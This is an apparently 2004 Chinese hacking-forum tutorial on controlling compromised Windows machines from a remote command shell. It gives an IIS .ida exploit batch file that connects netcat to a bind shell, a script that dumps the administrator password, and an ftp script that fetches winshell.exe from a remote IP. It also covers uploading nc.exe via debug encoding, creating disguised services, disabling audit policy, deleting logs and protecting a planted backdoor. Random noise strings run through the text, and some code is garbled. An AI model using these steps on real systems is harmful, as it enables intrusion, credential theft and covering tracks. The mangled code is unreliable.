@echo chinese win2k:1 sp1:2 sp2:3

idahack.exe %1 80 1 99 >%temp%\_tmp

@echo “prog exit code [%errorlevel%] idahack.exe”

@type %temp%\_tmp

@find “good luck ” %temp%\_tmp

@echo “prog exit code [%errorlevel%] find [goog luck]”

@if NOT errorlevel 1 nc.exe %1 99

@goto END

P2

@idahack.exe %1 80 %2 99 %temp%\_tmp

@type %temp%\_tmp

@find “good luck ” %temp%\_tmp

@if NOT errorlevel 1 nc.exe %1 99

@goto END

2 _# D: ?- @7 ?1 @! i* f

:USAGE

@echo Example: ida.bat IP

@echo Example: ida.bat IP (2,3)

:END

_____________________ida.bat__END_________________________________

下面我们再来第二个文件.就是得到administrator的口令.

大多数人说得不到.其实是自己的没有输入正确的信息.

___________________________fpass.bat____________________________________________

@rem ver 1.0

@if NOT exist %windir%\system32\findpass.exe echo “ERROR: dont find findpass.exe”

@if NOT exist %windir%\system32\pulist.exe echo “ERROR: dont find pulist.exe”

+ t' r( O8 B% Z. Y, J6 I: r. Q$ Z5 t

@echo start….

@echo ____________________________________

@if “%1″==”” goto USAGE

@findpass.exe %1 %2 %3 >> %temp%\_findpass.txt

@echo “prog exit code [%errorlevel%] findpass.exe”

@type %temp%\_findpass.txt

@echo ________________________________Here__pass★★★★★★★★

@ipconfig /all >>%temp%\_findpass.txt

@goto END

:USAGE

@pulist.exe >%temp%\_pass.txt

@findstr.exe /i “WINLOGON explorer internat” %temp%\_pass.txt

@echo “Example: fpass.bat %1 %2 %3 %4 !!!”

@echo “Usage: findpass.exe DomainName UserName PID-of-WinLogon”

; s4 S3 W! f% Q& p* U

:END

@echo ” fpass.bat %COMPUTERNAME% %USERNAME% administrator ”

@echo ” fpass.bat end [%errorlevel%] !”

_________________fpass.bat___END___________________________________________________________

1 m+ U: b  O( H8 U6 w- g8 T

还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win)

依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!!

3 B, i3 |7 X- |: V

echo open 210.64.x.4 3396>w

echo read>>w

echo read>>w

echo cd winnt>>w

echo binary>>w

echo pwd >>w

echo get wget.exe >>w

echo get winshell.exe >>w

echo get any.exe >>w

echo quit >>w

ftp -s:w

1 h7 r0 x; G8 R- O
# h! D, h+ z; T. L% \. o

6 y! Q& U5 `& l+ |4 Y

+ o' V  J( N0 S- z. ?2 _
: Q2 c3 g' ?6 p, t" c; D; T8 V

日期：2004-5-9 13:02:06

——————————————————————————–

0 I7 ~- T+ P7 A7 e

作者：zzzEVAzzz

目录

1，前言

2，文件传输

3，系统配置

4，网络配置

5，软件安装

6，Windows脚本

7，附言

& g: u: V4 K- [1 _7 D  y

前言

Cmd Shell(命令行交互)是黑客永恒的话题，它历史悠久并且长盛不衰。本文旨在介绍和总结一些在命令行下控制Windows系统的方法。这些方法都是尽可能地利用系统自带的工具实现的。

文件传输

对于溢出漏洞获得的cmd shell，最大的问题就是如何上传文件。由于蠕虫病毒流行，连接ipc$所需要的139或445端口被路由封锁。再加上WinXP系统加强了对 ipc$的保护，通过ipc$及默认共享上传文件的手段基本无效了。ftp和tftp是两种可行的方法，介于其已被大家熟知，本文就不介绍了。还有三种大 家熟悉的办法，作为总结我再提一下：

1，用Echo命令写ASP木马。

前提当然是目标主机上已经安装了IIS。

一般的ASP木马“体积”较大，不适合直接用echo命令写入文件，这里我提供一个小巧的。

直接给出echo版：

9 I8 z/ I, K( N: c6 F

@echo ^ >up.asp

注意，只有一行，中间没有回车符。

生成的up.asp不能用浏览器访问，只能用下面这个脚本：

! `, U0 W8 U& {0 Y! m9 k

with wscript

if .arguments.count>dl.vbs

@echo w.open “get”,.arguments(0),0:w.send:if w.status^>200 then .echo “Error:”+w.status:.quit>>dl.vbs

@echo aso.type=1:aso.open:aso.write w.responsebody:aso.savetofile .arguments(1),2:end with >>dl.vbs

6 m6 J6 s3 k: ^. q9 \' v( v

举例——下载ps.exe并保存到c:\path下：

/ _1 I4 \2 I. J: \; f' G5 {

cscript dl.vbs http://www.sometips.com/soft/ps.exe c:\path\ps.exe

注意，这是在远程shell中执行的。

1 k' c2 t$ \4 y6 Z
8 e( @0 l% x, x2 `+ ]



7 p* q( z3 [0 W8 s( ?  t# I

4，Echo经过编码的任何文件，再用脚本+debug还原。
前面两个办法都不能保证穿过防火墙。而且，除非自己架Web服务器，一般的Web资源都是以压缩文件的形式提供。如果目标主机没有解压工具，还是没辙。那么只有出“杀手锏”了！
# d5 L$ ?7 O: z  {
1 ^/ O& i6 V$ b5 @6 |) N8 yecho 命令加重定向x作符可以写入ASCII码小于128的字符，但大于等于128的不行。只有将本地文件重新“编码”为可显示的字符，才能方便地写入远程主 机。首先能想到的就是base64编码，即email附件的编码方式。但vbs不支持位x作，因此编码和解码较复杂。更麻烦的是，脚本以二进制流方式处理 文件的能力很差。（ADODB.Stream可以以流方式写文件，但我无法构造出相应的数据类型。二进制数据流可以用midb函数转成字符串，但反过来不 行。我花了两天时间，还是没能解决这个问题。如果有谁能用vbs或js写任意的字节数据到文件中，恳请赐教。）

' g8 j1 O. d% v2 H无奈只有请debug.exe出马了。原理很多人都知道，我不介绍了，直接给出成果——编码脚本：

fp=wscript.arguments(0)
& Y6 j7 d8 q# Cfn=right(fp,len(fp)-instrrev(fp,”\”))
with createobject(“adodb.stream”)
.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
end with
" x& p3 M" }( c6 b1 }! {$ ^sll=sl mod 65536:slh=sl\65536
: l  V, e' `: b# Q1 J% B, N7 uwith createobject(“scripting.filesystemobject”).opentextfile(fp&”.bat”,2,true)
% u4 B! E& r) I& r+ Z: i.write “@echo str=”””
for i=1 to sl
6 W4 ]9 D3 o2 O) ]( O9 l' ~9 ybt=ascb(midb(str,i,1))
( g4 v2 R5 @8 u, \1 V% K  Pif bt>debug.vbs”+vbcrlf+”@echo +”””
next
" z5 Y. Q) Z; U.writeline “””>>debug.vbs”+vbcrlf+”@echo with wscript.stdout:r=vbcrlf”_
, ]& W9 ]# Y6 l+”:for i=1 to len(str) step 48:.write “”e””+hex(256+(i-1)/2)”_
' P  W0 q) {) W3 m* W0 J( ~+”:for j=i to i+46 step 2:.write “” “”+mid(str,j,2):next:.write r:next>>debug.vbs”
& U8 n4 X% P' `8 f.writeline “@echo .write “”rbx””+r+”””+hex(slh)+”””+r+””rcx””+r+”””+hex(sll)_
+”””+r+””n debug.tmp””+r+””w””+r+””q””+r:end with”_
+”>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp “””&fn&”””&del debug.vbs”
. T. P& i, x, T! xend with

将其保存为echo.vbs。假设要上传nc.exe，那么在本地命令行输入命令：

cscript echo.vbs nc.exe

7 s$ ^& S) U" x( A+ c3 b% p也可以直接把要传输的文件的图标拖放到脚本文件的图标上。
5 L# T3 l3 P/ `稍等一会儿，在当前目录下将生成一个nc.exe.bat。用记事本等编辑工具打开它，可以看到如下内容：
# n3 b$ G6 ~9 G
@echo str=”4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000″_>>debug.vbs
4 A, T& C/ S3 d" E! k4 R4 j" u@echo +”504500004C010400B98EAE340000000000000000E0000F010B010500009800000062000000000000004C00000010000000B0000000004000001000000002000004000000000000000400000000000000003001000004000000000000030000000000100000100000000010000010000000000000100000000000000000000000″_>>debug.vbs
@echo +”002001003C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A0210100640100000000000000000000000000000000000000000000000000002E74657874000000″_>>debug.vbs
@echo +”70970000001000000098000000040000000000000000000000000000200000602E726461746100001704000000B0000000060000009C0000000000000000000000000000400000402E646174610000004452000000C00000003E000000A20000000000000000000000000000400000C02E696461746100005C07000000200100″_>>debug.vbs
8 |+ h" e% e" z/ n0 Z1 R6 z/ r…………
…………（省略若干行）
…………
6 ]8 N; D* s  m$ X@echo +””>>debug.vbs
@echo with wscript.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write “e”+hex(256+(i-1)/2):for j=i to i+46 step 2:.write ” “+mid(str,j,2):next:.write r:next>>debug.vbs
@echo .write “rbx”+r+”0″+r+”rcx”+r+”E800″+r+”n debug.tmp”+r+”w”+r+”q”+r:end with>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp “NC.EXE”&del debug.vbs

% x' j4 U8 h, M全选 －》 复制 －》 切换到远程命令行窗口 －》 粘贴。
如果网速不是很慢的话，整个上传过程大约需要20秒。
" v! {5 t$ ?$ O1 Z
& d3 V- c7 ?5 T0 s/ x几点说明：
8 D, \+ Q( s  F# d: j9 r1，大的文件传输不稳定，可能会使shell死掉。所以文件越小效果越好。建议原文件不要超过100KB。
2，在传输大文件前，可以先传个小的文件作为“热身”，让16位虚拟机ntvdm.exe驻留后台。所有文件传完后，为隐蔽起见，应该把ntvdm进程杀掉。
3，某些cmd shell每个命令都需要附加两个回车，那nc.exe.bat就不能直接用了。
4， 单个命令的长度是有限的，所以不能只用一个echo完成全部任务。而且，对于nc提供的cmd shell，稍长一些的命令竟然会使shell自动退出（溢出了？）。你可以修改”i mod 128=0″语句中的128以调整每个echo命令的长度。每次echo的字符为这个数乘以2。
5，解码过程没有脚本参与也是可以的。使用脚本的目的是减少传输的数据量（因为压缩了数据）。如果有时间，我会写一个更完善的脚本，加强数据压缩能力，增加数据校验功能。
+ U/ E1 E9 z1 G" J
2 m3 A- w2 t5 {9 L能上传文件当然一切都好办了，但很多x作用Windows自带的工具更方便。在你到处寻找需要的工具时，不要忘了Windows本身。

4 p+ _. k! U9 N' b4 w: z- s# ~
% r% s) Z* D+ w! s系统配置
, x% {/ M$ Y. p4 w5 W% K+ e这节包括三方面内容：注册表、服务和组策略。
1 d* t: m* _. O8 @
) ?6 e* R) m% _先说注册表。很多命令行下访问注册表的工具都是交互式的，溢出产生的shell一般不能再次重定向输入/输出流，所以无法使用。
好在系统自带的regedit.exe足够用了。

1，读取注册表
先将想查询的注册表项导出，再用type查看，比如：

. S7 K. N( J% |2 GC:\>regedit /e 1.reg “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp”
3 k/ ^  M' R9 H
C:\>type 1.reg | find “PortNumber”
! X. L; j4 e# I3 u" h9 y0 n“PortNumber”=dword:00000d3d

+ D2 ?' r; S0 r2 nC:\>del 1.reg

所以终端服务的端口是3389（十六进制d3d）

2，修改/删除注册表项
7 ~) U9 ]" K! Q! J+ F先echo一个reg文件，然后导入，比如：

3 `$ o/ m& N( aecho Windows Registry Editor Version 5.00 >1.reg
echo. >>1.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0] >>1.reg
echo “TelnetPort”=dword:00000913 >>1.reg
. Y6 @1 E; d# G$ W1 l9 i+ Xecho “NTLM”=dword:00000001 >>1.reg
6 n) Q6 b' l& B0 v% ^echo. >>1.reg
) _, G5 P9 n) E0 s  _: Wregedit /s 1.reg

将telnet服务端口改为2323（十六进制913），NTLM认证方式为1。

+ p* e# @6 ^; l& }3 l. `; [. K3 b要删除一个项，在名字前面加减号，比如：
# ^6 X( A( p* a& i1 \
[-HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Serv-U]
+ n( t! l1 @5 \要删除一个值，在等号后面用减号，比如：

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
“KAVRun”=-
# o) g& D  X  ~" u- N" c3 G# a
3，用inf文件访问注册表
上面对注册表的三个x作，也可以用下面这个inf文件来实现：
. M2 [+ G: m0 v9 H/ R
[Version]
Signature=”$WINDOWS NT$”
[DefaultInstall]
, c5 k% m8 F! n6 J  BAddReg=My_AddReg_Name
DelReg=My_DelReg_Name
[My_AddReg_Name]
7 g& ^4 Q0 B. |4 G8 [% P1 t1 THKLM,SOFTWARE\Microsoft\TelnetServer\1.0,TelnetPort,0x00010001,2323
7 d7 Y( @; S( S! f2 ^' Y; s5 T- `HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,NTLM,0x00010001,1
5 L3 {/ l' U! s1 u/ u( ^[My_DelReg_Name]
HKLM,SYSTEM\CurrentControlSet\Services\Serv-U
1 [& k5 w; ^! l! e6 a+ I6 i% nHKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KAVRun
/ l8 Z/ ^5 {- B
( |9 P% I$ N/ X- T将它写入c:\path\reg.inf然后用下面这个命令“安装”：
7 L$ D" y1 U) B0 V8 h- ^
7 ?* F+ o( C+ [/ rrundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\reg.inf

1 K1 R3 z- H* M# I几点说明：
1，[Version]和[DefaultInstall]是必须的，AddReg和DelReg至少要有一个。My_AddReg_Name和My_DelReg_Name可以自定义。
% }" M0 [, ^) p3 m, c! g0 _0x00010001表示REG_DWORD数据类型，0x00000000或省略该项(保留逗号)表示REG_SZ(字符串)。0x00020000表示REG_EXPAND_SZ。
: n; Y8 J: `7 v% q0 r- ^( T% c' Y2323也可以用0x913代替。
* z6 d  e* O/ \. _9 n- x关于inf文件的详细信息，可以参考DDK帮助文档。
- ?6 u+ k9 v* Z; X" f. m2，InstallHinfSection是大小写敏感的。它和setupapi之间只有一个逗号，没有空格。
0 l# `8 g/ j& M. X128表示给定路径，该参数其他取值及含义参见MSDN。
特别注意，最后一个参数，必须是inf文件的全路径，不要用相对路径。
. @2 t9 g$ k' W  H! e( k3，inf文件中的项目都是大小写不敏感的。


接下来说服务。如果想启动或停止服务，用net命令就可以。但想增加或删除服务，需要用SC，instsrv.exe，xnet.exe等工具。而这些工具系统没有自带（XP和2003自带SC)。导入注册表虽然可以，但效果不好，原因后?*崽岬健；故堑?*inf文件出马。
, k; V% }0 v9 N+ ^) B  E
增加一个服务：

" s( q9 o! N3 h5 ?[Version]
Signature=”$WINDOWS NT$”
[DefaultInstall.Services]
AddService=inetsvr,,My_AddService_Name
( Y' J) F! ?& R1 z[My_AddService_Name]
DisplayName=Windows Internet Service
Description=提供对 Internet 信息服务管理的支持。
) y' ~9 D/ v3 k7 ~, Y8 ^  A+ fServiceType=0x10
StartType=2
' Z+ F+ c$ g  ^8 w% K$ yErrorControl=0
ServiceBinary=%11%\inetsvr.exe
# D7 E. Y0 Z: M3 ]0 ]: y$ k$ V
保存为inetsvr.inf，然后：
5 |2 C9 G; U! c5 m( z1 d& g2 T4 r
  g! ~0 U% f# o- O# r8 x- _8 @rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\inetsvr.inf
# R( @$ Q" L& V( F3 {( A; i
这个例子增加一个名为inetsvr的服务（是不是很像系统自带的服务，呵呵）。

# e- A. w3 d* E# ?* t9 T$ L' K几点说明：
+ r% A  L/ F6 r8 M! s/ Z  O0 f1，最后四项分别是
5 j! f* L6 v3 }" }2 R; o/ A+ P5 Q服务类型：0x10为独立进程服务，0x20为共享进程服务（比如svchost）；
启动类型：0 系统引导时加载，1 OS初始化时加载，2 由SCM（服务控制管理器）自动启动，3 手动启动，4 禁用。
（注意，0和1只能用于驱动程序）
错误控制：0 忽略，1 继续并警告，2 切换到LastKnownGood的设置，3 蓝屏。
, P3 p7 J7 I( E# o. ?服务程序位置：%11%表示system32目录，%10%表示系统目录(WINNT或Windows)，%12%为驱动目录system32\drivers。其他取值参见DDK。你也可以不用变量，直接使用全路径。
这四项是必须要有的。
( C' r- ~$ q  m+ k8 }" F2，除例子中的六个项目，还有LoadOrderGroup、Dependencies等。不常用所以不介绍了。
3，inetsvr后面有两个逗号，因为中间省略了一个不常用的参数flags。

1 K! Y& u  K* @6 E* f. X  u& F  b0 U删除一个服务：

' o; c0 Z6 j. }) y5 U9 Z" p% m/ X) S[Version]
5 m' m* x5 C+ W6 I7 b0 I8 O. fSignature=”$WINDOWS NT$”
[DefaultInstall.Services]
$ e7 o! l/ p/ Z* _3 {DelService=inetsvr

很简单，不是吗？

当然，你也可以通过导入注册表达到目的。但inf自有其优势。
1，导出一个系统自带服务的注册表项，你会发现其执行路径是这样的：
“ImagePath”=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\
74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,74,\
5 d8 k: ?$ z$ Z9 o4 Q00,6c,00,6e,00,74,00,73,00,76,00,72,00,2e,00,65,00,78,00,65,00,00,00
可读性太差。其实它就是%SystemRoot%\system32 \tlntsvr.exe，但数据类型是REG_EXPAND_SZ。当手动导入注册表以增加服务时，这样定义ImagePath显然很不方便。如果用 REG_SZ代?*嵊行┪侍狻??荒苡没肪潮淞苛恕＜粗荒苁褂猛暾?肪丁Ｓ胕nf文件完全没有这个问题，ServiceBinary（即 ImagePath）自动成为REG_EXPAND_SZ。
4 u) _  T8 r* B) G8 ~1 s! ?" L2，最关键的是，和用SC等工具一样，inf文件的效果是即时起效的，而导入reg后必须重启才有效。
3，inf文件会自动为服务的注册表项添加一个Security子键，使它看起来更像系统自带的服务。
3 F% c8 _3 W  a: Q9 V
另外，AddService和DelService以及AddReg、DelReg可以同时且重复使用。即可以同时增加和删除多个服务和注册表项。详细的内容还是请查看DDK。
7 g  q: G* k6 b  a: i2 M7 A

最后说说组策略。组策略是建立Windows安全环境的重要手段，尤其是在Windows域环境下。一个出色的系统管理员，应该能熟练地掌握并应用组策略。在窗口界面下访问组策略用gpedit.msc，命令行下用secedit.exe。

; m! Y9 Q5 ?- ?# b! _9 O2 A先看secedit命令语法：
secedit /analyze
secedit /configure
secedit /export
( C# X+ y, q8 G1 Tsecedit /validate
+ g* a% V# _- ?+ j6 r3 M3 Tsecedit /refreshpolicy
5个命令的功能分别是分析组策略、配置组策略、导出组策略、验证模板语法和更新组策略。其中secedit /refreshpolicy 在XP/2003下被gpupdate代替。这些命令具体的语法自己在命令行下查看就知道了。
3 R4 k1 C- i. C  O6 T" h) C
: r, l* G2 c! p% U* p& N) L: b7 o# @与访问注册表只需reg文件不同的是，访问组策略除了要有个模板文件(还是inf)，还需要一个安全数据库文件(sdb)。要修改组策略，必须先将模板导入安全数据库，再通过应用安全数据库来刷新组策略。来看个例子：
$ t4 _& ~+ q6 ^. d* H
% w5 F; S* @1 |* k1 d, l1 @假设我要将密码长度最小值设置为6，并启用“密码必须符合复杂性要求”，那么先写这么一个模板：

[version]
signature=”$CHICAGO$”
; F6 c3 s, L7 }0 p[System Access]
, `' q* B% v8 M8 x. {MinimumPasswordLength = 6
* U' H( T" U1 c! k$ ePasswordComplexity = 1

  N5 X0 W+ [% M2 S5 B. g* b保存为gp.inf，然后导入：

7 n9 m4 a! _/ E9 o+ dsecedit /configure /db gp.sdb /cfg gp.inf /quiet

这个命令执行完成后，将在当前目录产生一个gp.sdb，它是“中间产品”，你可以删除它。
7 A6 U; r+ m3 f6 l8 J/quiet参数表示“安静模式”，不产生日志。但根据我的试验，在2000sp4下该参数似乎不起作用，XP下正常。日志总是保存在%windir%\security\logs\scesrv.log。你也可以自己指定日志以便随后删除它。比如：
: |7 d5 j+ c; N8 M
secedit /configure /db gp.sdb /cfg gp.inf /log gp.log
del gp.*
! s# E$ e6 U( u; l7 e3 s
* {# C% Z6 ?6 T1 r: G+ q4 H, P4 y另外，在导入模板前，还可以先分析语法是否正确：

) n+ r' S3 Q. n: W( }secedit /validate gp.inf

1 l+ ?( r2 o! Y) M6 |: Z那么，如何知道具体的语法呢？当然到MSDN里找啦。也有偷懒的办法，因为系统自带了一些安全模板，在%windir%\security\templates目录下。打开这些模板，基本上包含了常用的安全设置语法，一看就懂。

再举个例子——关闭所有的“审核策略”。（它所审核的事件将记录在事件查看器的“安全性”里）。
echo版：

( ^, A* }( B$ k0 _& i5 D5 O# n0 Qecho [version] >1.inf
1 U7 ?7 x: ?# G' F/ Aecho signature=”$CHICAGO$” >>1.inf
echo [Event Audit] >>1.inf
4 p" d4 Z, Z  u* A& m" P" J2 L# ~4 |echo AuditSystemEvents=0 >>1.inf
* D. `2 B; Y4 @echo AuditObjectAccess=0 >>1.inf
! z1 k, L, c1 G0 U9 s8 Fecho AuditPrivilegeUse=0 >>1.inf
  ^$ e. c1 D$ K  Q  R) Becho AuditPolicyChange=0 >>1.inf
echo AuditAccountManage=0 >>1.inf
8 }, Y! G& ]+ s* l; S% jecho AuditProcessTracking=0 >>1.inf
: Z  Q/ c. v/ t) T! K# aecho AuditDSAccess=0 >>1.inf
3 I2 {$ ]( n+ B8 P/ x  techo AuditAccountLogon=0 >>1.inf
echo AuditLogonEvents=0 >>1.inf
/ r/ \& C" r3 a) e* M2 |secedit /configure /db 1.sdb /cfg 1.inf /log 1.log /quiet
1 O' j' ]" K- }7 n: t+ B( C1 Q- o' Kdel 1.*

也许有人会说：组策略不是保存在注册表中吗，为什么不直接修改注册表？因为不是所有的组策略都保存在注册表中。比如“审核策略”就不是。你可以用regsnap比较修改该策略前后注册表的变化。我测试的结果是什么都没有改变。只有“管理模板”这一部分是完全基于注册表的。而且，知道了具体位置，用哪个方法都不复杂。
' `4 w. P+ _8 V# ]  c5 F
比如，XP和2003的“本地策略”－》“安全选项”增加了一个“本地帐户的共享和安全模式”策略。XP下默认的设置是“仅来宾”。这就是为什么用管理员帐号连接XP的ipc$仍然只有Guest权限的原因。可以通过导入reg文件修改它为“经典”：

echo Windows Registry Editor Version 5.00 >1.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>1.reg
echo “forceguest”=dword:00000000 >>1.reg
regedit /s 1.reg
. Y& C) ~% s3 f3 {7 h, s+ rdel 1.reg

- M  R( D, u/ |+ H# U而相应的用inf，应该是：

echo [version] >1.inf
echo signature=”$CHICAGO$” >>1.inf
* _3 z" T8 m! {9 G% b8 ]echo [Registry Values] >>1.inf
" y2 e+ T/ _0 n8 b6 M2 a( techo MACHINE\System\CurrentControlSet\Control\Lsa\ForceGuest=4,0 >>1.inf
+ O" g3 [- \. D( x' T" G. Esecedit /configure /db 1.sdb /cfg 1.inf /log 1.log
& {/ a) j0 A/ L6 ~+ bdel 1.*

关于命令行下读取组策略的问题。
5 P& P3 X4 {2 k% T$ i1 B系统默认的安全数据库位于%windir%\security\database\secedit.sdb，将它导出至inf文件：

secedit /export /cfg gp.inf /log 1.log
5 x7 H/ a( n) [4 J/ i: t5 t
- o" E# R8 ^1 A2 f4 w没有用/db参数指定数据库就是采用默认的。然后查看gp.inf。

不过，这样得到的只是组策略的一部分（即“Windows设置”）。而且，某个策略如果未配置，是不会被导出的。比如“重命名系统管理员帐户”，只有被定义了才会在inf文件中出现NewAdministratorName=”***”。对于无法导出的其他的组策略只有通过访问注册表来获得了。
0 A( Q3 A; C& l1 v( d
此办法在XP 和2003下无效——可以导出但内容基本是空的。原因不明。根据官方的资料，XP和2003显示组策略用RSoP（组策略结果集）。相应的命令行工具是 gpresult。但是，它获得的是在系统启动时被附加（来自域）的组策略，单机测试结果还是“空”。所以，如果想知道某些组策略是否被设置，只有先写一 个inf，再用secedit /analyze，然后查看日志了。


网络配置
Windows 自带的关于网络的命令行工具很多，比如大家熟悉的ping,tracert,ipconfig,telnet,ftp,tftp,netstat，还有不 太熟悉的nbtstat,pathping,nslookup,finger,route,netsh……
这些命令又可分成三类：网络检测（如ping）、网络连接（如telnet）和网络配置（如netsh）。前面两种相对简单，本文只介绍两个网络配置工具。
0 h( s. }" e5 e. J8 r1 A
7 b, P6 F( b/ m+ x4 dnetsh
) i: K5 N' W7 s6 N在远程shell 中使用netsh首先要解决一个交互方式的问题。前面说过，很多shell不能再次重定向输出输出，所以不能在这种环境下交互地使用ftp等命令行工具。 解决的办法是，一般交互式的工具都允许使用脚本（或者叫应答文件）。比如ftp -s:filename。netsh也是这样：netsh -f filename。
% X$ ~1 v, W) S$ o4 i+ N! ]! l
netsh命令的功能非常多，可以配置IAS、DHCP、RAS、WINS、NAT服务器，TCP/IP协议，IPX协议，路由等。我们不是管理员，一般没必要了解这么多，只需用netsh来了解目标主机的网络配置信息。
* [9 n' R  I/ N/ k: @: w
1，TCP/IP配置
% n; P+ [4 U7 L
echo interface ip >s
echo show config >>s
netsh -f s
& b( k+ q% [4 ^# e+ w/ Gdel s
7 _0 T3 B, \. F7 N% `
由此你可以了解该主机有多个网卡和IP，是否是动态分配IP(DHCP)，内网IP是多少（如果有的话）。
这个命令和ipconfig /all差不多。
8 t2 J; T4 W4 J# u1 J
" r1 K8 N/ g  a- n5 J2 R注意，以下命令需要目标主机启动remoteaccess服务。如果它被禁用，请先通过导入注册表解禁，然后
3 A) f! O$ z: \4 i" |8 G* A: }, bnet start remoteaccess
0 t2 k) v6 {. Z8 A. y" M
2，ARP

# N4 O0 {" R" e: h. a# h# g0 eecho interface ip >s
echo show ipnet >>s
netsh -f s
' \0 L. q; ?/ J7 x$ rdel s

这个比arp -a命令多一点信息。
0 J( b- o* o+ X9 Y: K5 w! P9 i
3，TCP/UDP连接
4 |) h' H" G( L% x. O
echo interface ip >s
) M0 p3 G# h4 i' D; ?echo show tcpconn >>s
echo show udpconn >>s
netsh -f s
del s
5 g* ^! Z7 A1 S2 \, L  ]
$ u" N& ]; t8 C) R4 |这组命令和netstat -an一样。

4，网卡信息
: A# v) I! h5 q: c1 b1 U. y8 b如果netsh命令都有其他命令可代替，那它还有什么存在的必要呢？下面这个就找不到代替的了。

echo interface ip >s
6 K, z" u$ x8 j$ G$ z3 pecho show interface >>s
netsh -f s
' K* E3 V0 s+ X0 C2 b: H1 ?" Ydel s

3 H5 H2 O$ M# n. Nnetsh的其他功能，比如修改IP，一般没有必要使用（万一改了IP后连不上，就“叫天不应叫地不灵”了），所以全部略过。
4 |6 y( h2 `, c. N8 q
& w2 L8 q1 v# n# U0 H+ kIPSec
首先需要指出的是，IPSec和TCP/IP筛选是不同的东西，大家不要混淆了。TCP/IP筛选的功能十分有限，远不如IPSec灵活和强大。下面就说说如何在命令行下控制IPSec。
$ O9 m% V. w& C3 s2 C9 a. y$ A( C: n
XP 系统用ipseccmd，2000下用ipsecpol。遗憾的是，它们都不是系统自带的。ipseccmd在xp系统安装盘的 SUPPORT\TOOLS\SUPPORT.CAB中，ipsecpol在2000 Resource Kit里。而且，要使用ipsecpol还必须带上另外两个文件：ipsecutil.dll和text2pol.dll。三个文件一共119KB。

7 \8 t0 [# y) m; R* WIPSec 可以通过组策略来控制，但我找遍MSDN，也没有找到相应的安全模板的语法。已经配置好的IPSec策略也不能被导出为模板。所以，组策略这条路走不通。 IPSec的设置保存在注册表中(HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows \IPSec\Policy\Local)，理论上可以通过修改注册表来配置IPSec。但很多信息以二进制形式存放，读取和修改都很困难。相比之下，上 传命令行工具更方便。

& s; o1 @5 n, w) A关于ipsecpol和ipseccmd的资料，网上可以找到很多，因此本文就不细说了，只是列举一些实用的例子。
2 W" |, S$ e$ w4 X; o  |- ^在设置IPSec策略方面，ipseccmd命令的语法和ipsecpol几乎完全一样，所以只以ipsecpol为例：
8 m& t8 }& [; ]! @
1，防御rpc-dcom攻击
+ y; D9 v0 \2 |3 E* b; p
ipsecpol -p myfirewall -r rpc-dcom -f *+0:135:tcp *+0:135:udp *+0:137:udp *+0:138:udp *+0:139:tcp *+0:445:tcp *+0:445:udp -n BLOCK -w reg -x

% \+ \+ i" Y  W! e这条命令关闭了本地主机的TCP135,139,445和udp135,137,138,445端口。
具体含义如下：
$ v. t* s$ O  Y" G; T-p myfirewall 指定策略名为myfirewall
-r rpc-dcom 指定规则名为rpc-dcom
& X4 T/ S7 E8 S# P. {' c: k* M-f …… 建立7个筛选器。*表示任何地址(源)；0表示本机地址(目标)；+表示镜像(双向)筛选。详细语法见ipsecpol -?
-n BLOCK 指定筛选x作是“阻塞”。注意，BLOCK必须是大写。
-w reg 将配置写入注册表，重启后仍有效。
6 G1 A6 Q+ j" Y3 c6 i1 D3 D-x 立刻激活该策略。

& T+ E- ^  q8 f8 P. T2，防止被ping
: o( |+ j" o- b$ m$ ?. Q
ipsecpol -p myfirewall -r antiping -f *+0::icmp -n BLOCK -w reg -x

5 X( a6 m& U. [4 V4 L- O2 Z. R' d如果名为myfirewall的策略已存在，则antiping规则将添加至其中。
注意，该规则同时也阻止了该主机ping别人。

1 ~  T: W* }/ f5 q3，对后门进行IP限制
) J8 i* d3 u5 g; M  Q; b; K假设你在某主机上安装了DameWare Mini Remote Control。为了保护它不被别人暴破密码或溢出，应该限制对其服务端口6129的访问。

ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.89+0:6129:tcp -n PASS -w reg -x
: I: L% E# y8 t# C
6 ?' ]0 r+ }  r) R! C9 Q8 }8 K3 {这样就只有123.45.67.89可以访问该主机的6129端口了。
如果你是动态IP，应该根据IP分配的范围设置规则。比如：
; y! o) q' q4 U- l: A% T; H% T- L
ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
# {9 N% j+ L9 F- ^6 R& qipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.*+0:6129:tcp -n PASS -w reg -x
/ Q3 W( y: [# B
. _# {3 Z& u5 C' `. L$ P! ~这样就允许123.45.67.1至123.45.67.254的IP访问6129端口。
+ O+ F$ j, {0 u' i/ O  X; `' G
在写规则的时候，应该特别小心，不要把自己也阻塞了。如果你不确定某个规则的效果是否和预想的一样，可以先用计划任务“留下后路”。例如：
! }0 A( F% d& R( q; g
c:\>net start schedule
